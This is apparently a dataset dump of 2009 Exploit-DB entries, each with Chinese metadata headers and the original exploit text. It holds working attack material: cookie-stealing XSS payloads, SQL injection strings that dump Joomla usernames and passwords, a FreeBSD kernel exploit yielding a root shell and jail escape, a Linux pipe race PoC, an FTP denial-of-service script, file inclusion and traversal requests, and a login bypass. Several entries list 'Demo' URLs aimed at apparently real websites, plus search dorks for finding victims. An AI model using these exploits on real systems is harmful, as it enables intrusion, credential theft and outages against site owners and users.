QLWD/code_shield huggingface dataset:
标题: Snitz Forums 2000 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 9856 CVE: 2009-4554 类型: WEBAPPS 平台: ASP 发布日期: 2009-10-15 漏洞利用脚本: **************************************************************
Application: Snitz Forums 2000
Version affected:  3.4.07
Website: http://forum.snitz.com/
Discovered By: Andrea Fabrizi
Email: andrea.fabrizi () gmail com
Web: http://www.andreafabrizi.it
Vuln: Multiple Cross-Site Scripting
**************************************************************

###### PERMANENT XSS
If [sound] tag is allowed:

[sound]http://url_to_valid_mp3_or_m3u_file.m3u";
onLoad="alert(document.cookie)[/sound]
######

###### LINK XSS
http://localhost/forum/pop_send_to_friend.asp?url=&lt;/textarea&gt;<img
src="http://www.google.it/intl/it_it/images/logo.gif"; onLoad
="alert(document.cookie)">

Note the space: onLoad<space>="alert(document.cookie)"
###### URL: https://www.exploit-db.com/exploits/9856
标题: Xerox Fiery Webtools - SQL Injection EDB-ID: 9850 CVE: 2009-3913 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-03 漏洞利用脚本: Hello i am from portugal and i would like to report a new  
vulnerability in Xerox Fiery Webtools. The probleam is in /wt3/ 
summary.php?select= if you and ' you have the possibility to exploit  
this condition to inject SQL code.

Already have contact the vendor

best regards

Bernardo Trigo

Qualidade e Seguran&#65533;a
Centro de Inform&#65533;tica Prof. Correia de Ara&#65533;jo (CICA)
Faculdade de Engenharia da Universidade do Porto (FEUP)

AVISO LEGAL

Esta mensagem &#65533; confidencial e dirigida apenas ao destinat&#65533;rio. Se a  
recebeu por erro solicitamos que o comunique ao remetente e a elimine  
assim como qualquer documento anexo. N&#65533;o h&#65533; ren&#65533;ncia &#65533;  
confidencialidade nem a nenhum privil&#65533;gio devido a erro de transmiss&#65533;o.
Qualquer opini&#65533;o expressa nesta mensagem pertence unicamente ao autor  
remetente, e n&#65533;o representa necessariamente a opini&#65533;o a n&#65533;o ser que  
expressamente se diga que o remetente est&#65533; autorizado para o efectuar.



DISCLAIMER

This message is confidential and intended exclusively for the  
addressee. If you received this message by mistake please inform the  
sender and delete the message and attachments. No confidentiality nor  
any privilege regarding the information is waived or lost by any  
mistransmission.
Any views or opinions contained in this message are solely those of  
the author, and do not necessarily represent , unless specifically  
stated and the sender is authorized to do so. URL: https://www.exploit-db.com/exploits/9850
标题: Home FTP Server 1.10.1.139 - 'SITE INDEX' Remote Denial of Service EDB-ID: 9852 CVE: 2009-4051 类型: DOS 平台: WINDOWS 发布日期: 2009-11-16 漏洞利用脚本: # Exploit Title: Home FTP Server 1.10.1.139 'SITE INDEX' Command Remote Denial of Service Vulnerability
# Date: 16 Nov 09
# Author: zhangmc
# Software Link: http://downstairs.dnsalias.net/files/HomeFtpServerInstall.exe
# Version: Home FTP Server 1.10.1.139
# Tested on: [relevant os]
# Code :

From: zhangmc () mail ustc edu cn
Date: 16 Nov 2009 15:37:20 -0000

Date of Discovery: 16-Nov-2009

Credits:zhangmc[at]mail.ustc.edu.cn

Vendor: Ari Pikivirta
       http://downstairs.dnsalias.net/homeftpserver.html

Affected:
Home FTP Server 1.10.1.139
Earlier versions may also be affected

Overview:
Home FTP Server FTP Server is an easy use FTP server Application. Denial of service

vulnerability exists in Home FTP Server that causes the application to stop service when we

send multiple irregular "SITE INDEX" commands to the server.

Details:
If you could log on the server successfully, take the following steps and the application

will stop service:

1.sock.connect((hostname, 21))
2.sock.send("user %s\r\n" %username)
3.sock.send("pass %s\r\n" %passwd)
4.for i in range(1,20):
        sock.send("SITE INDEX "+ "a"*30*i +"\r\n")
5.sock.close()


Severity:
High

Exploit example:

#!/usr/bin/python
import socket
import sys

def Usage():
   print ("Usage:  ./expl.py <serv_ip>      <Username> <password>\n")
   print ("Example:./expl.py 192.168.48.183 anonymous anonymous\n")
if len(sys.argv) <> 4:
       Usage()
       sys.exit(1)
else:
   hostname=sys.argv[1]
   username=sys.argv[2]
   passwd=sys.argv[3]
   test_string="a"*30
   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   for i in range(1,30):
       try:
           sock.connect((hostname, 21))
       except:
           print ("Connection error!")
           sys.exit(1)
       r=sock.recv(1024)
       print "[+] "+ r
       sock.send("user %s\r\n" %username)
       print "[-] "+ ("user %s\r\n" %username)
       r=sock.recv(1024)
       print "[+] "+ r
       sock.send("pass %s\r\n" %passwd)
       print "[-] "+ ("pass %s\r\n" %passwd)
       r=sock.recv(1024)
       print "[+] "+ r


       for i in range(1,20):
           sock.send("SITE INDEX "+ test_string*i +"\r\n")
           print "[-] "+ ("SITE INDEX "+ test_string +"\r\n")
           r=sock.recv(1024)
           print "[+] "+ r

       sock.close()
       sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


   sys.exit(0); URL: https://www.exploit-db.com/exploits/9852
标题: FreeBSD 6.4 - 'pipeclose()'/'knlist_cleardel()' Race Condition EDB-ID: 9859 CVE: 2009-3527 类型: LOCAL 平台: FREEBSD 发布日期: 2009-10-08 漏洞利用脚本: #if 0
FreeBSD 6.4 and below are vulnerable to race condition between pipeclose() and
knlist_cleardel() resulting in NULL pointer dereference. The following code
exploits vulnerability to run code in kernel mode, giving root shell and
escaping from jail.
#endif

/* 29.08.2009, babcia padlina
 * FreeBSD <= 6.4 pipeclose()/knlist_cleardel() race condition
 *
 * works only on multiprocessor systems
 * gcc -o padlina2 padlina2.c -lpthread
 */

#define _KERNEL

#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/event.h>
#include <sys/timespec.h>
#include <pthread.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/param.h>
#include <sys/linker.h>
#include <sys/proc.h>

int fd[2], kq;
struct kevent kev, ke[2];
struct timespec timeout;
volatile int gotroot = 0;

static void kernel_code(void) {
 struct thread *thread;
 gotroot = 1;
 asm(
  "movl %%fs:0, %0"
  : "=r"(thread)
 );
 thread->td_proc->p_ucred->cr_uid = 0;
 thread->td_proc->p_ucred->cr_prison = NULL;

 return;
}

static void code_end(void) {
 return;
}

void do_thread(void) {
 while (!gotroot) {
  if (pipe(fd) < 0)
   perror("pipe");
  memset(&kev, 0, sizeof(kev));
  EV_SET(&kev, fd[0], EVFILT_READ, EV_ADD | EV_CLEAR, 0, 0, NULL);
  EV_SET(&kev, fd[1], EVFILT_WRITE, EV_ADD | EV_CLEAR, 0, 0, NULL);

  if (kevent(kq, &kev, 2, &ke, 2, &timeout) < 0)
   perror("kevent");

  close(fd[0]);
  close(fd[1]);
 }

 return;
}

void do_thread2(void) {
 usleep(100);
 while(!gotroot) {
  close(fd[0]);
  close(fd[1]);
 }

 return;
}

int main(void) {
 int i;
 pthread_t pth, pth2;

 if (!getuid() || !geteuid()) {
  printf("already root.\n");
  exit(-1);
 }

 printf("BEWARE! this exploit isn't 100%% reliable. successful exploitation\n"
  "may cause kernel memory corruption leading to system crash.\n"
  "it is also possible, that exploit will hang and such process\n"
  "will be unkillable. hit enter if you want to continue.\n");

 getchar();

 /* safe landing place for 6.4-RELEASE - it protects us from page fault
    due to invalid read */

 if (mmap((void *)0x408b0000, 0x4000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) < 0) {
  perror("mmap");
  exit(-1);
 }

 if (mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) < 0) {
  perror("mmap");
  exit(-1);
 }

 memcpy(0, &kernel_code, &code_end - &kernel_code);

 if ((kq = kqueue()) < 0) {
  perror("kqueue");
  exit(-1);
 }

 pthread_create(&pth, NULL, (void *)do_thread, NULL);
 pthread_create(&pth2, NULL, (void *)do_thread2, NULL);

 timeout.tv_sec = 0;
 timeout.tv_nsec = 1;

 printf("waiting for root... it should take no more than few seconds.\n"
      "otherwise, run exploit again.\n");
 i = 0;

 while (!gotroot && i++ < 4000)
  usleep(100);

 setuid(0);

 if (getuid()) {
  printf("failed. on unpatched systems, the exploit will be unkillable from now. try again.\n");
  exit(-1);
 }

 execl("/bin/sh", "sh", NULL);

 return 0;
} URL: https://www.exploit-db.com/exploits/9859
标题: Achievo 1.3.4 - Remote File Inclusion EDB-ID: 9839 CVE: 2009-3705 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-22 漏洞利用脚本: #############################################################
Achievo 1.3.4(debugger.php) Remote File Include Vulnerability
#############################################################
Author  : M3NW5
Homepage : http://www.indonesiancoder.com
contach  : m3nw5@hackermail.com
Location : INDONESIA
#############################################################
Achievo 1.3.4 Information
#############################################################
Vendor  : http://www.achievo.org/
Scripts  : http://www.achievo.org/download/
File  : debugger.php
    include_once($config_atkroot."atk/include/initial.inc");
Exploit  : http://target.com/path/debugger.php?config_atkroot=<deviL>
#############################################################
thenqyu  : IndonesianCoder.SurabayaHackerLink.ServerIsDown.Kill-9
    Don Tukulesto.KaMtiEz.Vyc0d.Arianom.Denbayan.mistersaint
    gonzhack.cyb3r_tr0n.m364tr0n.
    YogyaCarderLink.v3n0m
############################################################# URL: https://www.exploit-db.com/exploits/9839
标题: Linux Kernel 2.4.1 < 2.4.37 / 2.6.1 < 2.6.32-rc5 - 'pipe.c' Local Privilege Escalation (3) EDB-ID: 9844 CVE: 2009-3547 类型: LOCAL 平台: LINUX 发布日期: 2009-11-05 漏洞利用脚本: # This is a PoC based off the PoC release by Earl Chew (Updated by Brian Peters)
# Linux Kernel 'pipe.c' Local Privilege Escalation Vulnerability
# PoC by Matthew Bergin
# Bugtraq ID:       36901
#
# E-DB Note: Exploit Update v2 ~ https://github.com/offensive-security/exploitdb/pull/82/files

import os
import time
import random
import subprocess
#infinite loop
i = 0
x = 0
while (i == 0):
        os.system("sleep 1")
        while (x == 0):
                time.sleep(random.random()) #random int 0.0-1.0
                p = subprocess.Popen(["ps -elf | grep 'sleep 1' | grep -v 'grep' | awk '{print $4}'"], stdout=subprocess.PIPE, shell=True)
  result = p.stdout.read()
  pid = result.replace('\n', '').replace('\r', '')
                if (pid == "0"): #need an active pid, race condition applies
                        print "[+] Didnt grab PID, got: " + pid + " -- Retrying..."
                        break
                else:
                        print "[+] PID: " + pid
                        loc = "echo n > /proc/" + pid + "/fd/1"
                        os.system(loc) # triggers the fault, runs via sh URL: https://www.exploit-db.com/exploits/9844
标题: Joomla! Component com_facebook - SQL Injection EDB-ID: 9833 CVE: 2009-3438 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-22 漏洞利用脚本: #############################################################################################################
## Joomla Component com_facebook SQL injection vulnerability - (id)               ##
## Author : kaMtiEz (kamzcrew@gmail.com)           ##
## Homepage : http://www.indonesiancoder.com                       ##
## Date : September 22, 2009                 ##
#############################################################################################################

#############################################################################################################
# /~~\__/~~\_/~~~~\_/~~\_______/~~\__________________/~~~~~\__                                              #
# /~~\_/~~\___/~~\__/~~\_______/~~\_________________/~~\_/~~\_                                              #
# /~~~~~\_____/~~\__/~~\_______/~~\_______/~~~~~~~\__/~~~~~\__                                              #  
# /~~\_/~~\___/~~\__/~~\_______/~~\____________________/~~\___                                              #
# /~~\__/~~\_/~~~~\_/~~~~~~~~\_/~~~~~~~~\_____________/~~\____                                              #
#____________________________________________________________ -=- KILL-9 CREW -=- INDONESIANCODER -=-       #
#                                                                                                           #
#############################################################################################################

[ Software Information ]

[+] Vendor : -
[+] Download : http://joomlacode.org/gf/project/joomla-facebook/
[+] version : -
[+] Vulnerability : SQL injection
[+] Dork : inurl:"com_facebook"

#############################################################################################################

[ Vulnerable File ]

http://127.0.0.1/index.php?option=com_facebook&view=student&id=[INDONESIANCODER]

[ Exploit ]

-666+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,10,11,12+from+jos_users--

[ Demo ]

http://www.engineering.edu.sg/index.php?option=com_facebook&view=student&id=-666+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,10,11,12+from+jos_users--

#############################################################################################################

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW
[+] tukulesto,M3NW5,arianom,tiw0L,Pathloader,abah_benu,VycOd,och3_an3h
[+] Contrex,onthel,yasea,bugs,olivia,Jovan,Aar,Ardy,invent,Ronz
[+] Coracore,black666girl,NepT,ichal,tengik,Gh4mb4s,rendy,devil_nongkrong and YOU!!

[ NOTE ] 

[+] Mom and dad i love u .. for my girlfriends thx for your support mwahhhh ^_^
[+] terima kasih banget buat tukulesto dan arianom yang setiap malam menemani saya waktu exploit .. wkwkwkw
[+] terima kasih buat vYc0d dan devil_nongkrong yang menemani saya waktu YM an .. wkwkwkkwkw

[ QUOTE ]

[+] kaMtiEz -=- Don Tukulesto -=- M3NW5 -=- 30 hari mencari AuraKasih ....
[+] AURAKASIH I LOVE U FULL arghhhhh ... URL: https://www.exploit-db.com/exploits/9833
标题: Joomla! / Mambo Component Tupinambis - SQL Injection EDB-ID: 9832 CVE: 2009-3434 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-22 漏洞利用脚本: #######################################################
## Mambo/Joomla SQL Injection Vulneralbility         ##
## Component : com_tupinambis                ##
## Release : September 23, 2009             ##
## --------------------------------------------------##
##.---..-..-..-.,-..-..-..-.   .---..---..---..----. ##
##`| |'| || || . < | || || |__ | |-  \ \ `| |'| || | ##
## `-' `----'`-'`-'`----'`----'`---'`---' `-' `----' ##
##-------------------------------------------------- ##
#######################################################

[+] Author : Don Tukulesto
[+] Homepage : http://www.indonesiancoder.com
[+] Location : Republik Indonesia

#######################################################

[ Software Information ]

[+] Software      : com_tupinambis
[+] Version   : 1.0
[+] Vendor   : www.tupinambis.net
[+] Download   : http://www.onestopjoomla.com/extensions/auction/tupinambis/
[+] Vulnerability : SQL Injection
[+] Google Dork   : inurl:"com_tupinambis"

#######################################################
[ ExPL0!T ]

[+] Mambo : http://127.0.0.1/index.php?option=com_tupinambis&task=verproyecto&proyecto=-666+union+select+1,2,3,concat_ws(0x3a,username,password)tukulesto,5,6,7,8,9,10,11+from+mos_users--

[+] Joomla : http://127.0.0.1/index.php?option=com_tupinambis&task=verproyecto&proyecto=-666+union+select+1,2,3,concat_ws(0x3a,username,password)tukulesto,5,6,7,8,9,10,11+from+jos_users--

#######################################################

[ Greetings ]

[+] All of Indonesian Coder Member, M3NW5, mistersaint, gonzhack, m364tr0n, cyb3r_tr0n, TUCKER, Petrucii, Chercut,
    Senot, Joker, Quick_5ilv3r, ran, m4ho666, Den Bayan, vyc0d, bh4nd55, Den Awink
[+] All of Surabayahackerlink Member, Awan, Plaque, rey_cute, Tuex, XNITRO, DraCoola.com
[+] ServerIsDown.org, Jack-, Yadoy666 + tante Miya, kecemplungkalen, xshadow, H4ck3rKu
[+] Kill-9 Crew, kaMtiEz, Arianom, Pathloader, tiw0L,
[+] V3n0m, Str0ke, sp3x, todd, Antisecurity.org, and YOU !!!

[ SHOUT ]

Happy Eidul Fitri 1430H.

Minal Aidin Wal Faidzin.

[ SP3C!AL ]

lovely Emak, Bapak, Adek ku sayang (^_^) URL: https://www.exploit-db.com/exploits/9832
标题: Nginx 0.7.61 - WebDAV Directory Traversal EDB-ID: 9829 CVE: 2009-3898 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-09-23 漏洞利用脚本: Bug Title: nginx webdav copy/move method directory traversal
Program: nginx
Version: nginx/0.7.61 - other versions may also be affected
Website: http://sysoev.ru/nginx/
Severity: Low
Date discovered: 23 September 2009

The webdav component has to be enabled and the user has to have
permission to use the COPY or MOVE methods.

Description:
nginx ("Engine X", written by Igor Sysoev) has the ability to be used
as a webdav publishing server.
With webdav you can for example copy or move files from
one to a different location. The move and copy methods require a
"Destination:" HTTP header.
The destination header contains information about where the file
should be placed.
By using characters like "../" the attacker can traverse down the
directory tree and place files
outside the webroot. This is an insecure behaviour of the nginx webdav
module and can be
especially dangerous when nginx is used in a virtual hosting
environment. nginx runs as the
user nobody per default so normally this bug is not a big deal since
an attacker may only
be allowed to write files to /tmp/ or nobody owned directories. The
severity is low because
this attack requires webdav "upload" permissions.

Here is a sample request for the bug:

COPY /index.html HTTP/1.1
Host: localhost
Destination: http://localhost/../../../../../../../tmp/nginx.html

Thanks for your time,

Kingcope - kcope2@googlemail.com URL: https://www.exploit-db.com/exploits/9829
标题: Joomla! Component Fastball 1.1.0 < 1.2 - 'league' SQL Injection EDB-ID: 9822 CVE: 2009-3443 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-24 漏洞利用脚本: ########################################################################################################
## Joomla Component com_fastball Remote SQL injection vulnerability - (league)               ##
## Author : kaMtiEz (kamzcrew@gmail.com)             ##
## Homepage : http://www.indonesiancoder.com                     ##
## Date : September 23, 2009                ##
########################################################################################################
# Hello My Name Is :                                                                                  ##
#  __               _____   __  ._____________                                                        ##
# |  | _______     /     \_/  |_|__\_   _____/_______                                                 ##
# |  |/ /\__  \   /  \ /  \   __\  ||    __)_\___   /                                                 ##
# |    <  / __ \_/    Y    \  | |  ||        \/    /                                                  ##
# |__|_ \(____  /\____|__  /__| |__/_______  /_____ \                                                 ##
#      \/     \/         \/                \/      \/ -=- INDONESIAN CODER -=- KILL-9 CREW -=-        ##
########################################################################################################

[ Software Information ]

[+] Vendor : http://www.fastballproductions.com/
[+] Download : http://www.fastballproductions.com/index.php?option=com_digistore&task=list_products&id=1&Itemid=32
[+] version : 1.1.0 - 1.2
[+] Vulnerability : SQL injection
[+] Dork : inurl:"com_fastball"
[+] Location : INDONESIA
#############################################################################################################

[ Vulnerable File ]

http://127.0.0.1/index.php?option=com_fastball&league=[INDONESIANCODER]

[ Exploit ]

-666+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,10,11+from+jos_users--

[ Demo ]

http://diamondblacks.com/index.php?option=com_fastball&league=-666+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,10,11+from+jos_users--

http://sandiegoturbos.com/index.php?option=com_fastball&league=-666+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,10,11+from+jos_users--

http://www.unibaseball.co.uk/index.php?option=com_fastball&league=-666+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,10,11+from+jos_users--

#############################################################################################################

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW
[+] tukulesto,M3NW5,arianom,tiw0L,Pathloader,abah_benu,VycOd,och3_an3h
[+] Contrex,onthel,yasea,bugs,olivia,Jovan,Aar,Ardy,invent,Ronz
[+] Coracore,black666girl,NepT,ichal,tengik,Gh4mb4s,rendy,devil_nongkrong and YOU!!

[ NOTE ] 

[+] makasih buad babe and enyak .... muach ..
[+] makasih buat om tukulesto yg menemani saia selalu dan enggak bosen ma gue .. hahaha
[+] aurakasih napa sih lo susah banget di hubungi ?? .. hha URL: https://www.exploit-db.com/exploits/9822
标题: e107 0.7.16 - Referer header Cross-Site Scripting EDB-ID: 9825 CVE: 2009-3444 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-24 漏洞利用脚本: Hello Bugtraq!

I want to warn you about Cross-Site Scripting vulnerability in E107. Which I
found at 31.01.2009 and disclosed recently.

XSS:

At page for sending news to email (http://site/email.php?news.1) it's
possible to conduct XSS attack via Referer header. Particularly it can be
done via flash.

Referer: '><script>alert(document.cookie)</script>

Vulnerable are E107 0.7.16 and previous versions (all versions).

I mentioned about this vulnerability at my site
(http://websecurity.com.ua/3528/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua URL: https://www.exploit-db.com/exploits/9825
标题: Core FTP LE 2.1 build 1612 - Local Buffer Overflow (PoC) EDB-ID: 9815 CVE: 2009-3484 类型: DOS 平台: WINDOWS 发布日期: 2009-09-25 漏洞利用脚本: #!/usr/bin/env python

####################################################################################
#
# Core FTP LE v2.1 build 1612 Local Buffer Overflow PoC (Unicode)
# Found By: Dr_IDE
# Tested On: XPSP3, 7RC
# Notes: Most likely other versions are vulnerable too.
# Usage: File, Quick Connect, Paste into Hostname, Connect
#
####################################################################################

# Register Dump on XPSP3
"""
EAX 00000064
ECX 00410041 coreftp.00410041
EDX 0054F840 coreftp.0054F840
EBX 026E2FFC
ESP 0321E958 UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
EBP 00410041 coreftp.00410041
ESI 0269CC30
EDI 04BB6A58 UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
EIP 00410041 coreftp.00410041
C 0  ES 002B 32bit 0(FFFFFFFF)
P 0  CS 0023 32bit 0(FFFFFFFF)
A 0  SS 002B 32bit 0(FFFFFFFF)
Z 0  DS 002B 32bit 0(FFFFFFFF)
S 0  FS 0053 32bit 7EFD7000(FFF)
T 0  GS 002B 32bit 0(FFFFFFFF)
D 0
O 0  LastErr WSAHOST_NOT_FOUND (00002AF9)
EFL 00010202 (NO,NB,NE,A,NS,PO,GE,G)
ST0 empty 0.0
ST1 empty 0.0
ST2 empty 0.0
ST3 empty 0.0
ST4 empty 0.0
ST5 empty 0.0
ST6 empty 0.0
ST7 empty 0.0
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1
"""

# After Passing Exception on XPSP3
# EIP 00410041 coreftp.00410041

buff = ("\x41" * 6000)

f1 = open("coreftple.txt","w")
f1.write(buff)
f1.close() URL: https://www.exploit-db.com/exploits/9815
标题: HEAT Call Logging 8.01 - SQL Injection EDB-ID: 9809 CVE: 2009-3642 类型: WEBAPPS 平台: ASP 发布日期: 2009-09-28 漏洞利用脚本: [=[ ;otokoyama; ]=]


-=[HEAT Call Logging Version 8.01]=-
"The HEAT family is a comprehensive service solution,
combining core technologies with a variety of expansion options,
so any enterprise can build a tailored solution."

-=[web]=-
http://www.frontrange.com/heat.aspx

-=[attack]=-
U:' OR HEATPass IS NOT NULL OR HEATPass = '
P:' OR HEATPass IS NOT NULL OR HEATPass = '

-=[Effect]=-
Logs in as last logged in user.
There would be many variations of the above, but who can be bothered.

-=[NOTICE]=-
Due to vendor and product distaste I have not informed them of this vuln.

I guess this is a 0-day then..

Via their webpage current version appears to be 9.0,
could apply to this version aswell

SHOUTS:4chan for being shit, yes I will troll in a POC.


antilimit owns you URL: https://www.exploit-db.com/exploits/9809